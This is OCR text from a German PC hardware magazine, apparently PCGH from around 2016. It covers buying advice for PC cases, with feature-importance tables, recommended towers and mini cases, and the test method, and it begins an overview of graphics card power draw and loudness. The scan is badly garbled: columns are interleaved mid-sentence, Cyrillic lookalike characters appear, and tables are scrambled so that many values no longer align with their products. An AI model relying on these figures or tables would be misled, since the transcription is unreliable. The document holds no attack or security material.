TX (PCGH 06/2015), Jonsbo VR1 (PCGH 12/2016), Cougar QBX (PCGH 12/2016), Sharkoon Statt der Länge kann auch die Breite der Grafikkarte zum Problem werden. Selbst ein 
QB One (PCGH 12/2016) ATX-Geháuse wie dieses Cooler Master Elite 360 ist zu flach für den Kühler der KFA? 


GTX 1080 HOF. 
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Ausstattung: Was ist wichtig, was ist optional? 


Mit Schublade: Nanoxia Project S 


Mit dem Project S präsentiert Nanoxia ein außergewöhnliches, aus 


Stahl, Aluminium und Glas gefertigtes Gehäuse im „Schubladendesign”. 


u 


Das besondere Ausstattungsmerkmal 

des liegend (empfohlen) und stehend 
nutzbaren Nanoxia-Edelgehäuses (ca. 

230 Euro) ist das Innenraumdesign. Der 
Mainboard-Schlitten lásst sich an der 
Front wie eine Schublade herausziehen 
und so komplett entfernen. Auf diesem 
Schlitten werden alle Komponenten, u. a. 
Platinen in den Formaten Mini ITX, Micro 
ATX und ATX, installiert. Für Datentráger 
gibt es einen Schacht, der zwei 3,5- oder 
2,5-Zoll-Laufwerke aufnimmt. Drei weitere 
2,5-Zoll-HDDs/SSDs kónnen an einzeln ent- 
nehmbaren Halterungen montiert werden. 


ktuelle Gehäusemodelle sind 
ängst keine schlichten, mit 
Hardware bestückten Metallkästen 
mehr, die unter dem Schreibtisch 
verschwinden zwei 
Front-USB- und Sound-Anschlüssen 


und außer 
keine Extras zu bieten haben. Einer- 
seits bemühen sich die Hersteller 
mittlerweile um eine ansprechen- 
den Optik, indem sie die Modelle 
mit Plexiglasfenstern, beleuchteten 
Lüftern, Lichtleisten oder Seitentei- 
len aus Glas verzieren. Andererseits 
stattet man die Hardware-Behausun- 
gen mit immer neuen Features aus, 
die teils nur bedingt nützlich sind. 


Einbaukomfort verbessern 

Während optionale Features wie 
eine Fronttür, ein externes Fest- 
platten-Dock, ein SATA-Hot-Swap- 
System oder eine Handy-Ladestation 
den Funktionsumfang eines Gehäu- 
ses erweitern, gibt es auch wich- 
tige Ausstattung, die den Komfort 
beim Einbau deutlich verbessert. 
Ein gutes Beispiel wäre hierfür die 
Festplattenmontage, bei der es zahl- 
reiche Ausstattungsvarianten gibt. 
HDDs werden 
nur festgeschraubt und übertragen 


Die schlechteste: 


Schwingungen. Bei günstigen Ge- 


häusen lassen sich HDDs meist mit 
Plastikhalterungen befestigen. Da- 
mit erspart man sich zwar das Fest- 
schrauben, eine Entkopplung findet 
aber nicht statt. Besser sind Schub- 
laden, in denen sich Datenträger 
festschrauben lassen. Oft verfügen 
die Schubladen zusätzlich über eine 
integrierte Dämmung. Zur weiteren 
Ausstattung, die den Zusammenbau 
erleichtert, gehören unter anderem 
Kabeldurchführungen (Aussparun- 
gen) in der Zwischenwand und/ 
oder der Platinenhalterung, ein Ka- 
belführungssystem sowie ein Main- 
board-Schlitten. 


Kühlleistung kontrollieren 

Doch nicht nur Features, die den 
Einbaukomfort verbessern, sollten 
beim Gehäusekauf auf der Haben- 
liste stehen. Ein empfehlenswertes 
Modell sollte über Staubfilter an 
allen Lüfterplätzen sowie eine Lüf- 
tersteuerung mit mindestens drei 
Stufen verfügen. Bei der Kontrolle 
der Temperaturen helfen auch Din- 
ge wie ein Drei-Kammer-Design, 
manuelle Belüftungssysteme für 
den Deckel (Air Vent/Air Chimney), 
eine Lüftersteuerung per PWM-Sig- 
nal oder eine Netzteil-Abdeckung. 


Kaufberatung Geh htigsten Ausstattungsmerkmale und Eigenschaften 
Ausstattung Wichtigkeit Ausstattung Wichtigkeit 
Einbauschacht für 5,25-Zoll-Laufwerk/Slim-Laufwerk (optisch) хх Externes HDD-Dock/SATA-Hot Swap xx/xx 
Ausführliches Handbuch xx Schrauben- oder werkzeugloser Schließmechanismus Seitenteil(e)/ xxix Е 
Vier USB-3.0-Ports ххх Lufthutzen Seitenteile = 
Audio-Anschlüsse (Line out/Mikrofon) xxx Headset-Halterung x = 
Firewire-Anschlüsse x schraubenlose) Netzteilhalterung/Netzteil-Geháuse, -Kammer oder XX Xxx E 
Schnelllade-Port/Induktionsladung für Handy x -Abdeckung = š 
etzteil bereits eingebaut x Lüfterverlängerungskabel (für Steuerung)/Adapter (z. B. 12 auf 7 Volt) xx/xx с 
Dämmung eingebaut/Dämmung zum Nachrüsten im Lieferumfang x Lüftersteuerungsplatine oder PWM-Hub EC = 
Seitenfenster/Seitenteile aus Glas x ransportrollen — = — * E 
Schublade/Blende oder Klappe zur Abdeckung der Frontanschlüsse x Schlossvorrichtung oder Kabelschloss für Eingabegeräte/Schloss für die Tür SIS Ë 
ТЕТЕ хх Kabelführungssystem (mit Klettverschlüssen) xxx = 
ür für 5,25-Zoll-Laufwerke x SEET = x 
Frontbeleuchtung/beleuchtete Lüfter/l/O-Slotblende beleuchtet/ espaime EE ххх/ххх © 
LED-Leuchtleiste x/x/x seite demontierbar ü 
= Festplatten von außen zugänglich/Hecklüfter für Wakü verschiebbar х/ххх | 
ini-Display/Temperatursensoren — XX ainboard-Schlitten (MB-Tray gedreht montierbar) xx E 
ragegriff/Griffe an den Seitenteilen/Tür mit Schloss х/хх/х Grafikkartenhalterung x E 
Staubschutz Front (Druckmechanismus/magnetisch) xxx Т : ° 
Staubschutz für den Deckel (Druckmechanismus/magnetisch) xxx SEN ШЕ їй аиа Шш ХОШ. System) a aiu ° 
: : : ussparung hinterm Sockel/Aussparung für Kabeldurchführungen/Kabel xxx! 
Staubschutz am Bodern (Schiebemechanismus/magnetisch) xxx management auf Rückseite xxxixx |X 
Drei-Kammer-System x Einfache Lüftersteuerung (High/Low) oder Steuerung per Platine auf x 
SSD-Montage auf Rückseite der Mainboard-Halterung xxx 7 Volt gedrosselt xxx = 
anuelle Belüftungssysteme für den Deckel (Air Vent/Air Chimney) x Lüftermodul oder Lüftersteuerung 12/7/5 V schaltbar (drei oder vierstuf.) xxx 3 
Wakü-Schlauchausgänge/Halterungen für Pumpe und den Reservoir- ххх/х Sehr gute HDD-Entkopplung xxx E 
Behälter (Wakü) Lüftersteuerung: Potenziometer oder stufenloser Schieberegler x e 
Werkzeuglose Laufwerksbefestigung/System für Steckkartenbefestigung ххх/х Lüftersteuerung temperaturgeregelt oder Lüftersteuerung per PWM- x x 
CPU/GPU-Blowhole x Signal vom Mainboard x 
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WX Jill man niedrige Temperatu- 
ren im Gehäuse erzielen, ist 
es einfach, dieses mit vielen schnel- 
len Lüftern und großzügigen Luft- 
lóchern auszustatten. Im Gegenzug 
kónnen im Innenraum eines kom- 
plett geschlossenen und gedämm- 
ten Gehäuses mit leisen oder gar 
keinen Lüftern gefährlich hohe Tem- 
peraturen bei zentralen Komponen- 
ten (CPU, GPU, Wandler) entstehen. 
Daher kommt es beim Gehäusekauf 
darauf an, den richtigen Kompro- 
miss aus Lautheit und Temperatur 
zu finden, wobei der für Sie ideale 
Mittelweg natürlich auch von Ihrer 
persönlichen Lärmtoleranz abhängt. 


Von großen Lüftungslöchern oder 
-schlitzen abgesehen ist die Anzahl 
und Art der serienmäßig im Gehäu- 
se eingebauten Lüfter hauptver- 
antwortlich für eine gute Kühlung. 
Damit die gewährleistet ist, sollten 
mindestens einer, besser noch zwei 
Propeller an der Front die Frischluft 
ins Innere befördern und mindes- 
tens ein Propeller im Heck die ver- 
brauchte Luft wieder herausblasen 
(Bild rechts). Wenn ein Top-Blow- 
CPU-Kühler zum Einsatz kommt 
oder der Hecklüfter mit dem Abfüh- 
ren der warmen Luft überfordert ist, 
sind Lüfter am Boden oder in den 
Seitenteilen sowie Deckelkonstruk- 
tionen wie beim Fractal Design Defi- 
ne C (siehe rechts) hilfreich. Erhöht 
man die Zahl der Propeller, steigt je- 
doch auch die Geräuschkulisse. 


Da Hersteller nicht immer angeben, 
wie laut die Propeller sind oder mit 
welcher Drehzahl diese rotieren, 
prüfen wir bei unseren Gehäuse- 
tests stets, wie laut die enthaltenen 
Lüfter unter maximaler Spannung 
(12 V) sind. Um zu demonstrieren, 
wie die Lautheit bei verringerter 
Lüfterdrehzal abnimmt, drosseln wir 
auch die Spannung auf 5/7 Volt oder 
nutzen die Lüftersteuerung. Dabei 
messen wir in der Regel eine Laut- 
heitsreduktion bis zu einem Sone. 
Im Gegenzug steigt die Temperatur 
im Gehäuseinneren messbar an. Eine 
höhere Hitzeentwicklung kann auch 
der Preis für eine Dämmung sein, 
vor allem dann, wenn die Lüfterbe- 
stückung ab Werk zu mager ausfällt. 
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Kühl dank offenem Deckel und leise dank Dämmung? 


Um zusätzliche Lüfter unter dem Deckel einzubauen oder einen Abzug für die aufgeheizte Luft zu schaffen (Kamineffekt), lässt sich 
der Deckel des Define C entfernen. Dämmungs-Kits wie das Deluxe Dämmungs Pro Set von Cooltek verringern die Lautheit hörbar. 


Fractal Design Define C: Deckel geschlossen 


A 


Fractal Design Define C: Deckel geöffnet, mit Staubschutz 


Fractal Design liefert das Define S nur mit einem 
Front- und einem Hecklüfter aus. Trotzdem geht das 
schlichte Kühlkonzept auf: Der Frontlüfter versorgt 
den Innenraum mit kühler Luft, der Propeller im 
Heck bläst die durch die CPU und die Grafikkarte 
aufgeheizte Luft wieder aus dem Midi Tower her- 
aus. Für eine geringe Geráuschkulisse sorgen dabei 
die Dámmung und die leisen Lüfter (2,6/2,6 Sone 
bei 12 V; 2,3/2,4 Volt bei 7V). 


Das Fractal Design Define S ist aber auch ein sehr 
gutes Beispiel für ein Gehäuse, das sich besonders 
gut für den Einsatz einer Wasserkühlung eignet. 
An der Stelle, an welcher sich bei einem regulären 
Innenraumdesign die Laufwerkskáfige befinden, 
kónnen ein hoher 3x120-mm-Radiator und/oder 
eine Pumpe sowie ein Wasserreservoir montiert 
werden. Im Deckel findet ein 3x 140-mm-Wärme- 
tauscher (maximale Höhe: 55 mm) Platz. Je eine 
weitere 1x140/120-mm-Variante kann am Heck 
und am Boden angebracht werden. 
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Empfehlungen der Redaktion 


Midi Tower (gedämmt, PCGH-Wertung: 1,24) 
Be quiet Dark Base 900 Pro 


Be quiets Gehäuseflaggschiff, das 

Dark Base 900 Pro, ist das beste 

Beispiel dafür, dass die Unterschiede 

zwischen Midi und Big Tower 

immer geringer werden. Von seinen 

Ausmaßen und dem Volumen her ist 

das mit einem gläsernen Seitenteil 

bestückte Gehäuse eher ein Big 

Tower und kann auch mit seiner 

Ausstattung in der Big-Tower-Liga 

mitspielen. So verfügt das Gehäuse 

unter anderen über eine Lüfter- 

steuerung, die per PWM-Signal von 

der Platine oder manuell stufenlos 

regelbar ist, ein Qi-Ladegerät, einen 

Mainboard-Tray, der ausgebaut und 

invertiert werden kann, eine RGB-Be- 

leuchtung sowie eine Dämmung (Tür/Seitenteil). Dazu kommen viele Montagemöglichkeiten für Lüfter sowie Radiatoren. Ein 
240-/280-/360-/420-mm-Radiator passt in die Front, ein 120/140-mm-Wärmetauscher lässt sich im Heck anbringen und der 
Deckel nimmt Radiatoren mit 120/140/240/280/360/420 mm Größe auf (maximale Höhe 65 mm). 


Die Flexibilität, die Be quiet dem Gehäusebauer an die Hand gibt, beeindruckt. Die Laufwerkshalterungen, an denen sogar zwei 
2,5-Zoll-SSDs anstelle einer 3,5-Zoll-HDD montiert werden können, sind einzeln entfernbar. Selbst der 5,25-Zoll-Käfig lässt 

sich für eine Lüfterhalterung ausbauen — der Staubschutz deckt jedoch den dritten Frontlüfter nicht ab. Die Kombination aus 
den Dämmmatten an der hinteren Wand und der Tür sowie dem vorderen Seitenteil aus Glas erfüllt ihre Aufgabe mit Bravour. 
Bereits bei maximaler Lüfterdrehzahl liegt der Geräuschpegel bei leisen 1,7/1,8 Sone (1,6/1,7 Sone bei minimaler Drehzahl). Des 
Weiteren liefern die drei Silent-Wings-3-Lüfter mit Messwerten von 70 °C (CPU), 68 °C (GPU) und 55 °C (Spannungswandler) 
eine gute Kühlleistung ab. 


Big Tower (gedämmt, PCGH-Wertung: 1,64) 
Nanoxia Deep Silence 5 Revision B 


Das Nanoxia Deep Silence 5 in der 

B-Revision beeindruckte im Test mit 

einer Ausstattung, die sich auf einen 

leisen Betrieb, eine gute Kühlung 

sowie viel Platz für Laufwerke kon- 

zentriert: Das Gehäuse ist komplett 

gedämmt, die mit Dämmmaterial 

versehenen Abdeckplatten im Deckel 

können ausgebaut werden, um dort 

zwei zusätzliche 140/120-mm-Lüfter 

unterzubringen. Dazu kommt eine 

Steuerung für sechs Propeller, mit 

der unter anderem die Drehzahl der 

bereits eingebauten drei 140-mm- 

Modelle stufenlos regulierbar ist. 

Montageplätze für Laufwerke sind 

ebenfalls ausreichend vorhanden: Zusätzlich zu den vier 5,25-Zoll- und den elf 3,5-/2,5-Zoll-Kombischächten verfügt das Deep 
Silence 5 noch über einen speziellen Montagerahmen für sechs 2,5-Zoll-HDDs/-SSDs sowie einen externen 3,5-Zoll-Schacht. 


Doch nicht nur die Ausstattung des Deep Silence 5 Rev. B gefällt. Der Big Tower meistert auch gut den Spagat zwischen solider 
Kühlung und geringer Lautheit. Temperaturen von 83 °C (CPU), 90 °C (GPU), 66,5 °C (Northbridge) und 74,9 °C an den Wandlern 
sind zwar nicht gerade niedrig. Dafür dringen bereits bei voller Lüfterdrehzahl nur 2,2/2,4 Sone aus dem Big Tower — bei minimaler 
Drehzahl sind es sogar nur 1,9/2,0 Sone. Ein Mittel, die Kühlung zu verbessern, wäre der Einbau zusätzlicher Lüfter im Deckel. 
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achdem wir Ihnen nun in 
N unserer Kaufberatung aus- 
führlich gezeigt haben, worauf Sie 
beim Kauf eines neuen Gehäuses 
achten sollten, wollen wir Ihnen 
abschließend für jedes Format eine 
Empfehlung geben. Während unse- 
re Kauftipps bei den Big und Midi 
Towern auch im Einkaufsführer auf 
der Seite 128 zu finden sind, gibt 
es dort für die kleinen Vertreter 
keine Einträge. Dazu kommt, dass 
wir für die Gehäuse-Minis nur eine 
Sternchenwertung vergeben. Bei 
den Testmethoden sowie der Hard- 
ware, die bei den abschließend 
vorgestellten Temperatur und 
Lautheitsmessungen zum Einsatz 
kommt, gibt es allerdings keine Un- 
terschiede zwischen den großen 
und kleinen Gehäusemodellen. 


Testhardware im Detail 

Wie oben bereits erwähnt, testen 
wir seit der Ausgabe 09/2016 die 
Midi/Big Tower mit der Hardware, 
die auch bei den Minis zum Einsatz 
kommt. Zu diesem Zweck wurden 
auch die Temperaturmessungen 
(siehe nächster Abschnitt) an die 
geänderte Hardware angepasst. 
Das Testsystem besteht nun aus 
einem Core i7-4790, der auf einer 
Mini-ITX-Platine von Asus mit Z87- 
Chipsatz sitzt und der von einem 
Thermalright AXP-100 (Top-Blow- 
Kühler) mit Frischluft versorgt 
wird. Dabei überlassen wir die 
Drehzahlsteuerung der Platine, in- 
dem wir die Option „Standard“ ein- 
stellen. Dazu kommt mit der Asus 
Geforce GTX 970 Direct Cu Mini 
(50 % Lüfterdrehzahl, per After- 
burner fixiert) - ab den nächsten 
Gehäusetests mit der EVGA GTX 
1060 Superclocked/6G - noch eine 
Grafikkarte, die über ein ITX-kom- 
patibles Format verfügt. Mit dieser 
Hardware heizen wir nun bei allen 
Gehäuseklassen das Innere auf, 
indem wir eine Stunde den An- 
fang unserer fordernden Witcher- 
3-Bechmark-Szene laufen lassen. 


Wie warm und wie leise? 

Bei den Wandlern, deren Tempera- 
tur wir ebenfalls ermitteln, handelt 
es sich um die CPU-Spannungs- 
wandler des Asus H871-Plus (Mini- 
ITX-Format). Zusätzlich installieren 
wir einen weiteren Messfühler, 
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um die Temperatur im Gehäuse- 
innenraum zu ermitteln. Die Laut- 
heitsmesswerte, für die wir keine 
weiteren Lüfter in das Gehäuse 
einbauen (Lüfterbestückung im 
Lieferzustand), entstehen mit ei- 
nem Sone-Messgerät, das einmal 
im Abstand von 50 cm von vorn 
und im 45-Grad-Winkel mit selbi- 
gem Abstand zum Gehäuse plat- 
ziert wird. Dabei reduzieren wir 
die Lüfterspannung beim zweiten 
Messdurchgang entweder auf 5 V/ 
niedrigste Stufe der Lüftersteue- 
rung (Big/Midi Tower) respektive 7 
Volt/mittlere Stufe Lüftersteuerung 
(Mini-Gehäuse). Insgesamt sind so 
die Messwerte bei allen Gehäuse- 
typen miteinander vergleichbar. 


Zum guten Schluss ein paar Zeilen 
zu den Trends, die aktuell bei den 
Gehäusen zu beobachten sind. So- 
wohl die zahlreichen Neuvorstellun- 


gen als auch unsere Marktübersich- 
ten haben gezeigt, dass die Optik 
mittlerweile eine sehr wichtige Rol- 
le spielt. Damit die Hardware-Be- 
hausung zum Blickfang wird, wer- 
den sowohl die Seitenteile als auch 
die Front mit großflächigen Glasele- 
menten verziert. Dazu kommen be- 
leuchtete Lüfter, Lichtleisten an der 
Front, im Deckel oder sogar im In- 
nenraum. Dabei ist die Beleuchtung 
schon längst nicht mehr einfarbig, 
sondern umfasst das RGB-Spektrum 
inklusive Leuchteffekte. Der zweite 
Trend, der sich im fast vergangenen 
Jahr herauskristallisiert hat, sind 
modulare Gehäuse wie das Cooler- 
master Mastercase 5, bei denen man 
die äußere Erscheinung, die Innen- 
gestaltung und die Funktion an ei- 
gene Bedürfnisse anpassen kann. 
Ein weiteres Modell, das eine hohe 
Flexibilität beim Einbau bietet, ist 
das hier vorgestellte Dark Base 900 
Kä 


Pro von Be quiet. 


Worauf kommt es beim 

Gehäusekauf an? Welche 

Features sind wichtig und 

worauf kann man verzich- 

ten? Diese und andere Fragen 

beantworten wir nicht nur in diesem Artikel, 
sondern auch in bewegten Bildern am Beispiel 
des Coolermaster Mastercase Maker 5. 


Die Ausstattung des fast würfelförmigen Antec ISK 600M fällt nicht so umfangreich 


Jonsbos МАТ fällt nicht nur durch seine getönten, gläsernen Seitenscheiben, 
sondern auch durch das turmartige Design optisch auf. Ein Blick ins Innere zeigt, 


dass Jonsbo das mit je einem leisen 120-mm-Lüfter (2,0/2,2 Sone/12 V) 
unteren und oberen Ende bestückte VR1 gezielt so gestaltet hat, um mi 
Kamineffekts eine optimale Kühlung zu erzielen. 


Dazu werden zum einen das Netzteil, die Platine sowie die Laufwerke ( 


am 
hilfe des 


x 3,5 


und 2 x 2,5 Zoll) vertikal eingebaut. Zum anderen steigt die Frischluft, die der 
untere Propeller ins VR1 blást, nach oben und wird nach der Erwármung von 


einem zweiten — optional durch einem Wakü-Radiator ersetzbaren — Lü 


aus dem Gehäuse herausbefördert. Diese Konstruktion zahlt sich doppe 
Einerseits ist viel Platz zum Einbau vorhanden (maximale Grafikkartenlà 


ter wieder 
t aus. 
nge: 320 


mm/maximale CPU-Kühlerhöhe: 190 mm), andererseits fällt die Kühlung mit 70,7 
°C (CPU) respektive 79,0 °C (GPU) gut bis sehr gut aus. 


aus wie beispielsweise beim etwas größeren und ebenfalls für Micro-ATX-Platinen 
geeigneten Anidess Al7m (ca. 90 Euro; www.pcgh.de/preis/1242929), zumal die 
zweistufige Lüftersteuerung mit ihrem für jeden Lüfter einzeln vorhandenen Schalter 
schlicht gehalten ist. Allerdings verfügt auch das ISK 600M über ein horizonta 
angeordnetes Zwei-Kammer-System, bei dem das Mainboard und die Grafikkarte 
vom Netzteil und den Laufwerken durch eine mit Kabeldurchführungen bestückte 
Zwischenwand ráumlich getrennt werden. Dementsprechend sind auch die Lüf 
plátze verteilt: Die Front bietet Platz für einen 140-mm- oder zwei 120-mm-Lü 


In der oberen Kammer führt ein 120-mm-Propeller die Abluft aus dem Geháuse, 
ein weiteres 80-mm-Modell kann 
am Heck der unteren Kammer 


angebracht werden. Wie beim 
Anidees Al7m geht auch beim Antec 
ISK 600M das Belüftungskonzept 
voll auf, denn sowohl die CPU als 
auch die GPU werden mit 68,0 °C 
respektive 67,0 °C gut gekühlt. Die 
dabei entstehende Geräuschkulisse 
2,5/2,8 Sone bei der Lüfterstufe „Н“ 
sowie 1,9/2,2 Sone bei der Stufe 
„L” sind als angenehm zu werten. 
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Grafikkarten-Überblick 


Neben unseren regelmäßigen GPU-Tests, in denen primär die Spiele-Leistung bewertet wird, sind für 


viele Leser auch die Lautstärke und der Stromverbrauch interessant — Vorhang auf! 


atürlich ist die Spiele-Leistung 
N einer Grafikkarte nach wie 
vor der bestimmende Faktor für 
oder gegen eine Kaufentscheidung. 
Doch gerade zwischen den Model- 
len ein und derselben Baureihe 
können auch andere Faktoren eine 
Rolle Spielen - namentlich die Laut- 
stärke oder der Stromverbrauch. 
Auch bei einem Upgrade nach 
mehreren Jahren können sich Pri- 
oritäten verschoben haben, sodass 
ein Blick über den Tellerrand nicht 
schadet. Diesen liefern wir in die- 
sem Überblicksartikel, in welchem 
wir hundert und mehr Grafikkarten 
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in Sachen Stromverbrauch und Laut- 
stärke miteinander vergleichen. 


100 Grafikkarten sind nicht 
genug: eine Auswahl 

Den Fokus legen wir auf die aktu- 
ellen Grafikkartenmodelle, also die 
Geforce-10- und die Radeon-RX-Rei- 
hen. Dahinter haben wir trotz min- 
destens 100 Karten im Vergleich 
deutlich selektieren müssen. Wir 
sind aber zuversichtlich, eine gute, 
repräsentative Auswahl getroffen 
zu haben, welche bis zu den ersten 
Direct-X-11-Karten wie der Radeon 
HD 5870 vom September 2009 zu- 


rückreicht. Um das Bild nicht zu ver- 
zerren und aufgrund der kaum nen- 
nenswerten Verbreitung haben wir 
uns in den meisten Fällen auch ge- 
gen Multi-GPU-Karten entschieden 
- diese hätten speziell in Sachen 
Leistungsaufnahme mit bis zu 560 
Watt die Relationen verzerrt. Eine 
Ausnahme ist die aktuelle und ver- 
gleichsweise sparsame Radeon Pro 
Duo (eine doppelte Nano mit Flüs- 
sigkühlung). Da wir auch in unse- 
ren regulären Tests zumeist spiele- 
taugliche Grafikkarten testen, ha- 
ben wir die Auswahl auf ebensolche 
reduziert. Geforce 405 oder Radeon 


HD 6450 wären zwar sparsam und 
potenziell leise, taugen aber nicht 
für Full-HD-Gaming. 


Messungen I: 
Leistungsaufnahme 

Der Stromverbrauch, korrekter die 
Leistungsaufnahme, von Grafikkar- 
ten misst die PCGH-Redaktion seit 
etlichen Jahren bereits mithilfe ei- 
nes PCI-Express-Extenders, wie er 
auch im Aufmacher (unten rechts) 
zu sehen ist, und präziser Ampere- 
zangen. Das aktuelle Modell ist bei 


... weiter im Text geht's auf Seite 23 
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167 Grafikkarten: Verbrauch und Lautheit im Leerlauf 
Leerlauf: Lautheit in Sone (im Balken) & Verbrauch in Watt 
MSI GTX 1050 Ti Gaming X 4G КОТ 5,5 (-87 %) Gigabyte GTX 1060 G1 Gaming 6G 00] e 9,0 (-79 %) 
EVGA GTX 1060 SC Gaming I m 6 (-86 %) Zotac GTX 1060 AMP! БОНН 9,0 (-79 %) 
EVGA GTX 1060 Gaming EXE 6 (-86 %) Zotac GTX 1060 3GB Mini E92 9,0 (-79 96) 
Palit GTX 1060 Super Jetstream Wë e 6 (-86 %) KFA? GTX 1060 3GB ОС ЮЗ pet 9,0 (-79 %) 
Gainward GTX 1060 Phoenix GS IOO IR 6,0 (-86 96) Gainward GTX 960 Phantom GLH üz 9,0 (-79 96) 
Palit GTX 1060 3GB Dual [Og 6,0 (-86 %) Asus RX 460 Strix O4G. KO Ee 9,0 (-79 %) 
EVGA GTX 1050 Ti SC Gaming I7 6,0 (-86 96) Nvidia GTX 1080 „Founder's Edition" KOMP p 9,5 (-78 %) 
Zotac GTX 1050 Ti OC Edition Ei 6,0 (-86 %) Zotac GTX 1080 AMP! Extreme [0/0] Em 10,0 (-77 % 
Asus GTX 1050 Expedition О] ew 6,0 (-86 96) Inno 3D GTX 1070 iChill ХЗ KOO | 10,0 (-77 96 
Nvidia GTX 1060 6GB Founders Edition OS (5 (-85 %) Gainward GTX 960 Phantom 4GB ЮЖ em 10,0 (-77 % 
Palit GTX 1080 Game Rock Premium ION p 7,5 (-83 96) EVGA GTX 960 SSC ACX 2.0+ 4GB ION) 10,0 (-77 % 
Asus GTX 1080 Strix OC joi 8,0 (-81 96) Asus GTX 960 Strix DC20C-4GD5 00 pem 10,0 (-77 % 
Gainward GTX 1080 Phoenix СІН IO] 8,0 (-81 96) KFA? GTX 950 Black OC Sniper 19/0] 10,0 (-77 % 
Asus GTX 1070 Strix OC "Bt 8,0 (-81 %) MSI GTX 750 Ti Gaming 2G KO 10,0 (-77 % 
EVGA GTX 1070 SC Gaming ACX 3.0 KOD | 8,0 (-81 96) Nvidia Geforce GTX 770 „Referenz“ Iz 10,0 (-77 % 
MSI GTX 1060 Gaming X 6G jore 8,0 (-81 90) Nvidia Geforce GTX 660 , Referenz" БО Ee 10,0 (777 % 
Asus GTX 1060 Strix OC fjpip 8,0 (-81 90) Gigabyte GTX 960 Windforce 2x OC О pu 10,5 (-76 %) 
Gigabyte GTX 1050 Ti G1 Gaming 4G. О es 8,0 (-81 90) Zotac GTX 960 AMP!-Edition 00] pm 10,5 (-76 %) 
Asus GTX 1050 Ti Strix O4G Gaming ILI 8,0 (-81 96) MSI GTX 1070 Gaming X 8G. KO 11,0 (774 %) 
Gainward GTX 1070 Phoenix GLH ОШ | 8,5 (-80 96) AMD Radeon HD 7870 „Referenz“ IOS m 11,0 (774 %) 
Asus GTX750-PHOC-1GD5 [Oi 8,5 (-80 90) KFA? GTX 960 Gamer OC Mini Wë Eu 11,0 (774 96) 
Nvidia GTX 1070 , Founder's Edition" fgg 8,5 (-80 96) Palit GTX 960 Super Jetstream КЛО eu 11,0 (774 96) 
Gigabyte GTX 1080 G1 Gaming Bi e 9,0 (-79 96) Palit GTX 960 Jetstream AGB О pm 11,0 (-74 %) 
Palit GTX 1070 Game Rock Premium fiu 9,0 (-79 %) Gigabyte GTX 950 Xtreme БОЮ E 11,0 (74 %) 
Gigabyte GTX 1070 G1 Gaming ñil 9,0 (-79 96) EVGA GTX 750 Ti FTW ACX ES n 11,0 (774 96) 
Grafikkarte (Platz 51-89) Sone Watt Grafikkarte (Platz 90-128) Sone Watt Grafikkarte (Platz 129-167) Sone Watt 
Palit GTX 750 Ti Storm X Dual 07 1,0 (7496) | | Sapphire RX 480 Nitro+ OC 8GB , Boost" 0,0 4,0 (-67 96) | | Asus RX 480 Strix OC 00 8,0 (-58 %) 
Gainward GTX 750 Ti Golden Sample 06 1,0 (74 96) | | Asus R9 Nano White 08 4,0 (67 %) | | MSI RX 480 Gaming X 8G 00 8,0 (-58 %) 
EVGA GTX 980 Superclocked ACX 2.0 0,0 1,0 (-74 96) | | ХЕХ R9 380X DD Black Edition OC 0,6 4,0 (67 96) | | Powercolor RX 480 Red Devil , OC" 00 8,0 (-58 %) 
Inno 3D GTX 1080 iChill X3 0,0 1,5 (7396) | | Sapphire R9 380 Nitro 0,0 4,0 (67 %) | | Nvidia Geforce GTX Titan X 0,3 8,0 (-58 %) 
Nvidia Titan X 0,5 2,0 (-72 %) | | Nvidia Geforce GTX 780 , Referenz" 0,6 4,0 (67 96) | | Palit GTX 980 Ti Super Jetstream 0,0 9,0 (-56 %) 
EVGA GTX 1080 FTW Gaming ACX 3.0 0,0 2,0 (-72 96) | | NvidiaGeforce GTX 460 , Referenz" 08 4,0 (67 96) | | MSI GTX 980 Ti Lightning 0,0 9,0 (-56 %) 
KFA? GTX 1080 Hall of Fame (HOF) 05 2,0 (-72 96) | | Inno 3D GTX 980 Ti iChill ХЗ Ultra 0,0 5,0 (65 %) | | MSI GTX 980 Ti Gaming 6G 0,0 9,0 (-56 %) 
EVGA GTX 1070 FTW Gaming ACX 3.0 0,0 2,0 (-72 96) | | Galax (KFA?) GTX 970 EXOC 0,3 5,0 (-65 96) | | Asus GTX 980 Matrix Platinum 0,7 9,0 (-56 %) 
Zotac GTX 1070 AMP! Extreme 0,0 2,0 (-72 96) | | Asus GTX 970 Strix OC 0,0 5,0 (-65 96) | | Asus R9 380 Strix DC20C-2GD5 0,0 9,0 (-56 %) 
PNY Geforce GTX 980 0,4 2,0 (-72 96) | | Inno 3D GTX 970 Her. X4 Air Boss Ultra 1⁄1 5,0 (65 96) | | MSI R9 380 Gaming 4G 0,0 9,0 (-56 %) 
Galax (KFA?) Geforce GTX 980 03 2,0 (-72 %) | | HIS Radeon RX 480 (8 GiByte) 03 5,0 (-65 96) | | Asus GTX 980 Ti Strix DC30C 0,0 20,0 (-53 %) 
Gainward Geforce GTX 980 0,6 2,0 (-72 %) | | Sapphire RX 470 Nitro+ 405 OC 0,0 5,0 (-65 96) | | Gainward GTX 980 Ti Phoenix "GS" 0,0 20,0 (-53 %) 
Palit Geforce GTX 970 12 2,0 (-72 96) | | Asus RX 470 Strix OC 0,0 5,0 (65 %) | | Inno 3D GTX 980 Ti Black Acc. Hybrid 5 10 20,0 (-53 90) 
Palit GTX 970 Jetstream 0,0 2,0 (-72 96) | | HIS RX 470 IceQ X Turbo 0,0 5,0 (65 96) | | Sapphire R9 390X Tri-X 0,0 20,0 (-53 %) 
Gainward GTX 970 Phantom 0,1 2,0 (-72 %) | | Sapphire R9 Fury Tri-X OC 0,0 5,0 (65 %) | | Sapphire R9 390 Nitro 0,0 20,0 (-53 %) 
Gigabyte GTX 960 G1 Gaming-2GD 0,0 2,0 C72 %) | | Asus R9 380X Strix OCAG-Gaming 0,0 5,0 (65 %) | | AMD Radeon HD 6870 , Referenz" 07 20,0 (-53 90) 
MSI GTX 960 Gaming 4G 00 2,0 (-72 96) | | Sapphire R9 380X Nitro 0,0 5,0 (65 %) | | AMD Radeon HD 6950 , Referenz" 0,7 20,0 (-53 %) 
MSI GTX 950 2GD5 OC 06 2,0 (-72 96) | | Nvidia Geforce GTX 980 Ti , Referenz" 03 5,0 (65 96) | | AMD Radeon R9 Fury X 13 21,0 (-51 90) 
EVGA GTX 950 FTW 00 2,0 (7296) | | Nvidia Gef. GTX Titan Black , Referenz" 04 5,0 (-65 96) | | AMD Radeon HD 5850 , Referenz" 08 21,0 (-51 96) 
